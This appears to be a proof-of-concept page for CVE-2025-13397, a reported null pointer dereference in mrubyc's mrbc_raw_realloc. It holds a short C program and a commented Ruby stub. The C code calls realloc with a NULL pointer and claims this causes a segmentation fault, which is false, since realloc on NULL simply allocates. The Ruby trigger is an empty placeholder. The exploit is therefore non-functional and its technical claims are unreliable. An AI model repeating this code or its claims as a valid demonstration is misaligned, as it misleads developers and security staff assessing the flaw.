CVE-2025-13397: mrubyc mrbc_raw_realloc函数空指针解引用漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated vulnerable function (mrbc_raw_realloc equivalent) void* vulnerable_raw_realloc(void* ptr, size_t size) { // Missing NULL check for ptr before calling realloc return realloc(ptr, size); } // Trigger the null pointer dereference int main() { printf("CVE-2025-13397 PoC - mrubyc mrbc_raw_realloc NULL ptr dereference\n"); printf("Attempting to trigger null pointer dereference...\n"); void* malicious_ptr = NULL; size_t alloc_size = 128; // This will cause segmentation fault due to null pointer dereference void* result = vulnerable_raw_realloc(malicious_ptr, alloc_size); if (result != NULL) { free(result); } return 0; } /* * Ruby PoC to trigger via mrubyc: * * # Trigger memory corruption scenario * class Test * def initialize * @data = nil * end * * def trigger_bug * # Manipulate internal state to cause NULL ptr in realloc * # This requires specific mrubyc version and memory conditions * end * end */